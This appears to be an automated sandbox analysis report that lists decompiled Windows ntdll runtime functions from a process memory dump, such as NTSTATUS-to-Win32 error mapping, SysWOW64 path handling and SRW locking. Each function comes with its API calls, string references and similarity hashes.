0x6b54cd84
0x6b54cd82
0x00000000
0x6b54cd87
0x6b54cd87
0x6b5a4df9
0x6b54ce1f
0x6b54ce25
0x6b54ce33
0x6b5a4dff
0x6b5a4e05
0x6b5a4e0f
0x6b5a4e1c
0x6b5a4e24
0x00000000
0x6b5a4e24
0x6b5a4df9
0x6b54cd43
0x6b54cd33
0x6b54cd28
0x00000000

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6B5A4E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6B5A4E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6B5A4E1C

Strings

RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6B5A4E00
RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6B5A4E17
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6B5A4E0A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 1a2cb5dd162545f3cd4306db631d5f17323f0311a48b8e1d8d7cfc58cd5a6ad7
Instruction ID: 228dbef277f7f1c2446d38abd72295200907e4ebe5438485899a1b7768c8fcbf
Opcode Fuzzy Hash: 1a2cb5dd162545f3cd4306db631d5f17323f0311a48b8e1d8d7cfc58cd5a6ad7
Instruction Fuzzy Hash: 86412876A042548AFB14CFA9E8917FDB7A1E785710F00027FE511D77C4EB3D9854C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 6B57645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E6B57645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				int _t56;
				void* _t69;
				int _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6b63d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				memset( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E6B562280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E6B55FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x6b63b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E6B58B640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x6b57645b
0x6b576463
0x6b57646d
0x6b576475
0x6b57647a
0x6b57647e
0x6b576480
0x6b57648c
0x6b576490
0x6b576495
0x6b576498
0x6b57649b
0x6b57649f
0x6b5764a1
0x6b5b7c07
0x6b5b7c09
0x6b5b7c0c
0x00000000
0x6b5764a7
0x6b5764a7
0x6b5764aa
0x6b5b7bf7
0x6b5b7c00
0x00000000
0x6b5b7bf9
0x6b5b7bf9
0x6b5b7bf9
0x6b5764b0
0x6b5764b0
0x6b5764b2
0x6b5764b2
0x6b5764b3
0x6b5764ba
0x6b576553
0x6b57655e
0x6b576566
0x6b57656c
0x6b576575
0x6b57657f
0x6b576585
0x6b576588
0x6b576588
0x6b5764c7
0x6b5764cb
0x6b5764ce
0x6b5764d3
0x6b5764da
0x6b5764e5
0x6b5764ed
0x6b5764f1
0x6b5764f5
0x6b5764f6
0x6b5764fa
0x6b576502
0x6b576503
0x6b576504
0x6b576507
0x6b57651a
0x6b576524
0x6b576524
0x6b576526
0x6b576526
0x6b5764aa
0x6b57652c
0x6b57652d
0x6b57652e
0x6b576539

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6B576490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6B57651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6B576553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6B576588

Strings

0, xrefs: 6B5764FA
0, xrefs: 6B5764E5

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 7e86376986b2a63da886c23fe2c4cf38c1bf4271fb446692487c32b5ac7edadd
Instruction ID: 5ca55cf77c8244d9b02dce4c0a5eb082b90313762d45595139c824ea4ad01be3
Opcode Fuzzy Hash: 7e86376986b2a63da886c23fe2c4cf38c1bf4271fb446692487c32b5ac7edadd
Instruction Fuzzy Hash: 4E415BB16087069FD310DF28C494A9ABBE5BB89718F144A6EF588DB300D735EA05CF86

Uniqueness

Uniqueness Score: -1.00%

Function 6B544510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6B544510(signed int _a4) {
				signed int _t25;
				unsigned int _t28;
				intOrPtr _t32;
				signed int _t40;
				void* _t46;
				signed int _t47;
				signed int _t52;
				void* _t53;
				signed int _t55;

				_t47 = _a4;
				if(_t47 == 0) {
					return 0;
				}
				if(_t47 == 0x103) {
					return 0x3e5;
				}
				_t25 = _t47;
				if((_t47 & 0x20000000) == 0) {
					if((_t25 & 0x00ff0000) == 0x70000) {
						_t28 = _t47 >> 0x18;
						if(_t28 == 0xc0 || _t28 == 0x80) {
							L20:
							return _t47 & 0x0000ffff;
						} else {
							goto L4;
						}
					}
					L4:
					if((_t47 & 0xf0000000) == 0xd0000000) {
						_t47 = _t47 & 0xcfffffff;
					}
					_t53 = 0;
					_t46 = 0x11e;
					do {
						_t52 = _t46 + _t53 >> 1;
						_t32 =  *((intOrPtr*)(0x6b52a300 + _t52 * 8));
						_t55 = _t47 - _t32;
						if(_t47 < _t32) {
							_t10 = _t52 - 1; // -1
							_t46 = _t10;
							goto L10;
						}
						if(_t55 < ( *(0x6b52a304 + _t52 * 8) & 0x000000ff)) {
							_t40 =  *(0x6b52a306 + _t52 * 8) & 0x0000ffff;
							if( *((char*)(0x6b52a305 + _t52 * 8)) != 1) {
								return ( *(0x6b528692 + (_t40 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6b528690 + (_t40 + _t55 * 2) * 2) & 0x0000ffff;
							}
							return  *(0x6b528690 + (_t40 + _t55) * 2) & 0x0000ffff;
						}
						_t9 = _t52 + 1; // 0x1
						_t53 = _t9;
						L10:
					} while (_t53 <= _t46);
					if((_t47 & 0xffff0000) == 0xc0010000) {
						goto L20;
					}
					E6B54B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t47);
					E6B54B150();
					E6B54B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
					return 0x13d;
				}
				return _t25;
			}

0x6b544515
0x6b54451d
0x00000000
0x6b5445b6
0x6b544529
0x00000000
0x6b5a08b5
0x6b54452f
0x6b544537
0x6b544543
0x6b5a08c1
0x6b5a08c9
0x6b5a08d6
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a08c9
0x6b544549
0x6b544555
0x6b5445ba
0x6b5445ba
0x6b544557
0x6b544559
0x6b54455e
0x6b544563
0x6b544565
0x6b54456c
0x6b544570
0x6b544583
0x6b544583
0x00000000
0x6b544583
0x6b54457c
0x6b544597
0x6b54459f
0x00000000
0x6b5a092f
0x00000000
0x6b5445a7
0x6b54457e
0x6b54457e
0x6b544586
0x6b544586
0x6b5a08ea
0x00000000
0x00000000
0x6b5a08f2
0x6b5a08fc
0x6b5a0909
0x00000000
0x6b5a090f
0x6b5445b3

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6B5B3AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6B5A08F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6B5B3AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6B5A08FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B5A0909

Strings

RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6B5A08ED
RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6B5A0904
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6B5A08F7

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: cec12d5135865defcc504827e9ff4619305eea80126b4bcda5e28f79e4b9fd6b
Instruction ID: 874021053e64b9b923b2c5af33248a35842301a1a80cb26741a6dcff6e68165b
Opcode Fuzzy Hash: cec12d5135865defcc504827e9ff4619305eea80126b4bcda5e28f79e4b9fd6b
Instruction Fuzzy Hash: A9217633AA51164AFF149F6CD8907FC7392D742750F0106A7E620EB2C4DE3CD8A0C2A6

Uniqueness

Uniqueness Score: -1.00%

Function 6B55A8C0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6B55A8C0(struct _EXCEPTION_RECORD _a4) {
				signed int _v12;
				char _v552;
				char* _v556;
				intOrPtr _v558;
				void* _v560;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t41;
				struct _EXCEPTION_RECORD _t42;
				unsigned int _t43;
				signed int _t44;

				_v12 =  *0x6b63d360 ^ _t44;
				_v560 = 0x2140000;
				_t42 = _a4;
				_v556 =  &_v552;
				RtlAppendUnicodeToString( &_v560, E6B55AAB0());
				_t43 = _v560 & 0x0000ffff;
				RtlAppendUnicodeToString( &_v560, L"\\SysWOW64");
				if(RtlPrefixUnicodeString( &_v560, _t42, 1) != 0) {
					_v560 =  *_t42;
					_v560 = _v560 - _t43;
					_v558 = _v558 - _t43;
					_v556 =  *((intOrPtr*)(_t42 + 4)) + (_t43 >> 1) * 2;
					_t30 = E6B5819A0( &_v560, 0x14c, 1, 0);
				}
				return E6B58B640(_t30, _t37, _v12 ^ _t44, _t41, _t42, _t43);
			}

0x6b55a8d2
0x6b55a8dc
0x6b55a8e7
0x6b55a8ea
0x6b55a8fd
0x6b55a902
0x6b55a915
0x6b55a92b
0x6b55a944
0x6b55a94c
0x6b55a953
0x6b55a968
0x6b55a975
0x6b55a975
0x6b55a93c

APIs

RtlGetNtSystemRoot.1105(?,?), ref: 6B55A8F0
RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6B55A8FD

Part of subcall function 6B55A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B55A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B55A9E2

RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B55A915
RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B55A924
RtlReplaceSystemDirectoryInPath.1105(02140000,0000014C,00000001,00000000,02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B55A975

Strings

\SysWOW64, xrefs: 6B55A90F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$DirectoryPathPrefixReplaceRootmemmove
String ID: \SysWOW64
API String ID: 1880611629-3584015931
Opcode ID: 5475c358698a0904d858c7fa9fc3c69010ec7dfd071ea0f5fe13001f2e40aad9
Instruction ID: 9de833aca4bae33763a3f3e2709eafe4c71fe5506c0f4cec26d3aad450e1272f
Opcode Fuzzy Hash: 5475c358698a0904d858c7fa9fc3c69010ec7dfd071ea0f5fe13001f2e40aad9
Instruction Fuzzy Hash: E611427290122CBADB20DFB5EC49BCEB3B8AF48714F1041D6E509A7140EB34AE55CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6B60D8DF, Relevance: 9.2, APIs: 6, Instructions: 160
timeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6B60D8DF(signed int __ecx, signed int __edx, signed int _a4, intOrPtr _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				signed int _t65;
				signed int _t79;
				signed char _t86;
				unsigned int _t96;
				intOrPtr _t99;
				unsigned int _t101;
				unsigned int _t105;
				signed int _t106;

				_t94 = __edx;
				_v8 =  *0x6b63d360 ^ _t106;
				_v24 = _v24 & 0x00000000;
				_t57 = __ecx;
				_t79 = _a4;
				_v12 = __ecx;
				_t96 = _t79 >> 0x1f;
				_t101 = __edx;
				_v16 = __edx;
				_v36 = _t79;
				_v32 = _t79;
				_v20 = _t96;
				if(_t96 == 0) {
					if(_t79 == 0) {
						goto L34;
					}
					goto L3;
				} else {
					_t79 = 1;
					L3:
					if(( *0x6b63610c & 0x00000020) == 0 || _t96 != 0) {
						L14:
						_t57 =  *(_t101 + 0x1d) & 0x000000ff;
						if(_t79 >= ( *(_t101 + 0x1d) & 0x000000ff)) {
							goto L34;
						} else {
							goto L15;
						}
						while(1) {
							L15:
							_t94 = _t79;
							_t85 = _t101;
							_t79 = E6B60DA9B(_t101, _t79,  &_v28);
							_a4 = _t79;
							if(_t79 == 0xffffffff) {
								break;
							}
							_t63 = _v28;
							if(_t63 >= _a8) {
								if(_v24 != 0) {
									_t86 =  *(_t101 + 0x1c) & 0x000000ff;
									_t79 = _t79 << _t86;
									_t65 = _v12;
									 *0x6b63b1e0( *_t65, _t79 + _t101, _t63 << _t86);
									 *( *(_t65 + 0x10) ^  *0x6b636110 ^ _t65)();
									asm("lock xadd [eax], ecx");
									_t101 = _v16;
									_t94 = _t79;
									_t85 = _t101;
									E6B60D864(_t101, _t79, _t63 << _t86, 1, 0);
									_t96 = _v20;
									if(_t96 == 0) {
										break;
									}
									_t79 = _a4 + _v28;
									L26:
									if(_t79 < ( *(_t101 + 0x1d) & 0x000000ff)) {
										continue;
									}
									break;
								}
								if((_a12 & 0x00000001) == 0) {
									E6B56FAD0(_v12 + 0x34);
								}
								_v24 = 2;
								if(_v32 != 0xfffffffe) {
									E6B562280(_t101 + 0xc, _t101 + 0xc);
								}
								goto L26;
							}
							if(_t96 == 0) {
								break;
							}
							_t79 = _t79 + _t63;
							goto L26;
						}
						_t57 = _v24;
						if(_t57 != 0) {
							if(_v36 != 0xfffffffe) {
								_push(_t101);
								if(_t57 != 2) {
									_t57 = E6B56FA00(_t79, _t85, _t96);
								} else {
									_t57 = E6B55FFB0(_t79, _t96);
								}
							}
							if((_a12 & 0x00000001) == 0) {
								_t57 = E6B56FA00(_t79, _t85, _t96, _v12 + 0x34);
							}
						}
						goto L34;
					} else {
						_t94 =  *_t57;
						if(( *(_t94 + 9) & 0x00000001) != 0) {
							goto L14;
						} else {
							_t99 =  *((intOrPtr*)(_t94 + 0x28));
							_t105 =  *(_t99 + 4);
							_t57 = _t105 >>  *(_t94 + 7);
							if(_t57 <= 8) {
								_t57 = 8;
							}
							_t101 = _t105 >>  *(_t94 + 8);
							if(_t101 <= 8) {
								_t101 = 8;
							}
							_t96 =  *((intOrPtr*)(_t99 + 8)) +  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0x28)) + 0xc));
							if(_t96 <= _t57 || E6B5EDA47(_t79, _t96) >= 0) {
								if(_t96 <= _t101) {
									L34:
									return E6B58B640(_t57, _t79, _v8 ^ _t106, _t94, _t96, _t101);
								}
								goto L13;
							} else {
								L13:
								_t96 = _v20;
								_t101 = _v16;
								goto L14;
							}
						}
					}
				}
			}

0x6b60d8df
0x6b60d8ee
0x6b60d8f1
0x6b60d8f5
0x6b60d8f8
0x6b60d8ff
0x6b60d902
0x6b60d905
0x6b60d907
0x6b60d90a
0x6b60d90d
0x6b60d910
0x6b60d915
0x6b60d91e
0x00000000
0x00000000
0x00000000
0x6b60d917
0x6b60d919
0x6b60d924
0x6b60d92b
0x6b60d97f
0x6b60d97f
0x6b60d985
0x00000000
0x00000000
0x00000000
0x00000000
0x6b60d98b
0x6b60d98b
0x6b60d98e
0x6b60d991
0x6b60d998
0x6b60d99a
0x6b60d9a0
0x00000000
0x00000000
0x6b60d9a6
0x6b60d9ac
0x6b60d9c1
0x6b60d9ed
0x6b60d9f3
0x6b60d9fc
0x6b60da0e
0x6b60da14
0x6b60da26
0x6b60da2a
0x6b60da2d
0x6b60da34
0x6b60da36
0x6b60da3b
0x6b60da40
0x00000000
0x00000000
0x6b60da45
0x6b60da48
0x6b60da4e
0x00000000
0x00000000
0x00000000
0x6b60da4e
0x6b60d9c7
0x6b60d9d0
0x6b60d9d0
0x6b60d9d9
0x6b60d9e0
0x6b60d9e6
0x6b60d9e6
0x00000000
0x6b60d9e0
0x6b60d9b0
0x00000000
0x00000000
0x6b60d9b6
0x00000000
0x6b60d9b6
0x6b60da54
0x6b60da59
0x6b60da5f
0x6b60da64
0x6b60da68
0x6b60da71
0x6b60da6a
0x6b60da6a
0x6b60da6a
0x6b60da68
0x6b60da7a
0x6b60da83
0x6b60da83
0x6b60da7a
0x00000000
0x6b60d931
0x6b60d931
0x6b60d937
0x00000000
0x6b60d939
0x6b60d939
0x6b60d93f
0x6b60d944
0x6b60d949
0x6b60d94d
0x6b60d94d
0x6b60d951
0x6b60d956
0x6b60d95a
0x6b60d95a
0x6b60d961
0x6b60d966
0x6b60d973
0x6b60da88
0x6b60da98
0x6b60da98
0x00000000
0x6b60d979
0x6b60d979
0x6b60d979
0x6b60d97c
0x00000000
0x6b60d97c
0x6b60d966
0x6b60d937
0x6b60d92b

APIs

RtlAcquireSRWLockShared.1105(?,000000FE,?,?,?,?,6B60C9F8,000000FE), ref: 6B60D9D0
RtlAcquireSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6B60D9E6
RtlDebugPrintTimes.1105(?,?,?,000000FE,?,?,?,?,6B60C9F8,000000FE), ref: 6B60DA0E
RtlReleaseSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6B60DA6A
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6B60DA71
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6B60DA83

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$DebugPrintTimes
String ID:
API String ID: 675604559-0
Opcode ID: 637c2f2bb6eba9cb9b38f7875db5f6e67474534b28aa22a1260173c6e361c84d
Instruction ID: 94900b982a5d771ead48d31f801b370c82c171f4c48abc29419971b949438b60
Opcode Fuzzy Hash: 637c2f2bb6eba9cb9b38f7875db5f6e67474534b28aa22a1260173c6e361c84d
Instruction Fuzzy Hash: A15123B1E843189BCB04CFAAC98079EB7B5AF85328F154399DD24A7291DF78DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D3F4D, Relevance: 9.1, APIs: 6, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6B5D3F4D(void* __ebx, signed short* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t37;
				void* _t38;
				signed short _t39;
				void* _t45;
				signed short _t46;
				signed short _t56;
				signed short* _t59;
				void* _t60;
				signed short _t62;
				signed int _t63;
				signed short* _t69;
				signed short _t71;
				signed short* _t73;
				signed short* _t74;
				void* _t75;

				_push(0x1c);
				_push(0x6b620890);
				E6B59D08C(__ebx, __edi, __esi);
				_t59 = __edx;
				 *(_t75 - 0x1c) = 0xc00000e5;
				if(__edx != 0) {
					_t69 =  *(_t75 + 8);
					__eflags = _t69;
					if(_t69 == 0) {
						goto L1;
					} else {
						__eflags = __edx - _t69;
						if(__edx == _t69) {
							goto L1;
						} else {
							__eflags =  *__edx;
							if( *__edx != 0) {
								 *((intOrPtr*)(_t75 - 0x28)) = 0;
								 *((intOrPtr*)(_t75 - 0x24)) = 0;
								L6B55EEF0(0x6b6379a0);
								 *((intOrPtr*)(_t75 - 4)) = 0;
								_t71 = E6B5862C0(_t60, __eflags, 0, _t59, _t75 - 0x28, _t75 - 0x20);
								 *(_t75 - 0x1c) = _t71;
								__eflags = _t71;
								if(_t71 >= 0) {
									L15:
									_t37 =  *((intOrPtr*)(_t75 - 0x20));
									__eflags = _t37 - 0xfffe;
									if(_t37 <= 0xfffe) {
										_t38 = _t37 + 4;
										__eflags = _t38 - 0xfffe;
										if(_t38 <= 0xfffe) {
											_t73 =  &(_t69[4]);
											__eflags = _t73;
											if(_t73 == 0) {
												L21:
												_t39 = E6B57D690(0, _t73, _t38);
												__eflags = _t39;
												if(_t39 >= 0) {
													goto L23;
												} else {
													_t71 = 0xc0000017;
												}
											} else {
												__eflags = _t38 - _t69[8];
												if(_t38 <= _t69[8]) {
													L23:
													_t69[2] =  *_t73;
													_t69[1] = _t69[8];
													_t71 = 0;
													__eflags = 0;
												} else {
													goto L21;
												}
											}
										} else {
											_t71 = 0xc0000106;
										}
										 *(_t75 - 0x1c) = _t71;
										__eflags = _t71;
										if(__eflags >= 0) {
											_t71 = E6B5862C0(0xfffe, __eflags, 0, _t59, _t69, 0);
											 *(_t75 - 0x1c) = _t71;
											__eflags = _t71;
											if(_t71 >= 0) {
												_t71 = 0;
												__eflags = 0;
												goto L27;
											}
										}
									} else {
										_t71 = 0xc0000106;
										L27:
										 *(_t75 - 0x1c) = _t71;
									}
								} else {
									__eflags = _t71 - 0xc0000023;
									if(_t71 == 0xc0000023) {
										goto L15;
									}
								}
								 *((intOrPtr*)(_t75 - 4)) = 0xfffffffe;
								E6B5D40C7();
							} else {
								 *_t69 = 0;
								_t45 = ( *__edx & 0x0000ffff) + 2;
								__eflags = _t45 - 0xfffe;
								if(_t45 <= 0xfffe) {
									_t74 =  &(_t69[4]);
									__eflags = _t74;
									if(_t74 == 0) {
										L10:
										_t46 = E6B57D690(0, _t74, _t45);
										__eflags = _t46;
										if(_t46 >= 0) {
											goto L12;
										} else {
											_t71 = 0xc0000017;
										}
									} else {
										__eflags = _t45 - _t69[8];
										if(_t45 <= _t69[8]) {
											L12:
											_t62 =  *_t74;
											_t69[2] = _t62;
											memmove(_t62 + (( *_t69 & 0x0000ffff) >> 1) * 2, _t59[2],  *_t59 & 0x0000ffff);
											_t63 =  *_t69 & 0x0000ffff;
											_t69[1] =  *_t59 + 2 + _t63;
											_t56 =  *_t59 + _t63;
											 *_t69 = _t56;
											 *((short*)(_t69[2] + ((_t56 & 0x0000ffff) >> 1) * 2)) = 0;
											_t71 = 0;
										} else {
											goto L10;
										}
									}
								} else {
									_t71 = 0xc0000106;
								}
							}
						}
					}
				} else {
					L1:
					_t71 = 0xc000000d;
				}
				return E6B59D0D1(_t71);
			}

0x6b5d3f4d
0x6b5d3f4f
0x6b5d3f54
0x6b5d3f59
0x6b5d3f5b
0x6b5d3f64
0x6b5d3f75
0x6b5d3f78
0x6b5d3f7a
0x00000000
0x6b5d3f7c
0x6b5d3f7c
0x6b5d3f7e
0x00000000
0x6b5d3f80
0x6b5d3f84
0x6b5d3f87
0x6b5d4010
0x6b5d4013
0x6b5d401b
0x6b5d4020
0x6b5d4032
0x6b5d4034
0x6b5d4037
0x6b5d4039
0x6b5d4043
0x6b5d4043
0x6b5d404b
0x6b5d404d
0x6b5d4056
0x6b5d4059
0x6b5d405b
0x6b5d4064
0x6b5d4067
0x6b5d4069
0x6b5d4070
0x6b5d4074
0x6b5d4079
0x6b5d407b
0x00000000
0x6b5d407d
0x6b5d407d
0x6b5d407d
0x6b5d406b
0x6b5d406b
0x6b5d406e
0x6b5d4084
0x6b5d4086
0x6b5d408d
0x6b5d4091
0x6b5d4091
0x00000000
0x00000000
0x00000000
0x6b5d406e
0x6b5d405d
0x6b5d405d
0x6b5d405d
0x6b5d4093
0x6b5d4096
0x6b5d4098
0x6b5d40a5
0x6b5d40a7
0x6b5d40aa
0x6b5d40ac
0x6b5d40ae
0x6b5d40ae
0x00000000
0x6b5d40ae
0x6b5d40ac
0x6b5d404f
0x6b5d404f
0x6b5d40b0
0x6b5d40b0
0x6b5d40b0
0x6b5d403b
0x6b5d403b
0x6b5d4041
0x00000000
0x00000000
0x6b5d4041
0x6b5d40b3
0x6b5d40ba
0x6b5d3f8d
0x6b5d3f8d
0x6b5d3f93
0x6b5d3f96
0x6b5d3f9b
0x6b5d3fa4
0x6b5d3fa7
0x6b5d3fa9
0x6b5d3fb0
0x6b5d3fb4
0x6b5d3fb9
0x6b5d3fbb
0x00000000
0x6b5d3fbd
0x6b5d3fbd
0x6b5d3fbd
0x6b5d3fab
0x6b5d3fab
0x6b5d3fae
0x6b5d3fc4
0x6b5d3fc4
0x6b5d3fc6
0x6b5d3fd9
0x6b5d3fe1
0x6b5d3fee
0x6b5d3ff5
0x6b5d3ff8
0x6b5d4005
0x6b5d4009
0x00000000
0x00000000
0x00000000
0x6b5d3fae
0x6b5d3f9d
0x6b5d3f9d
0x6b5d3f9d
0x6b5d3f9b
0x6b5d3f87
0x6b5d3f7e
0x6b5d3f66
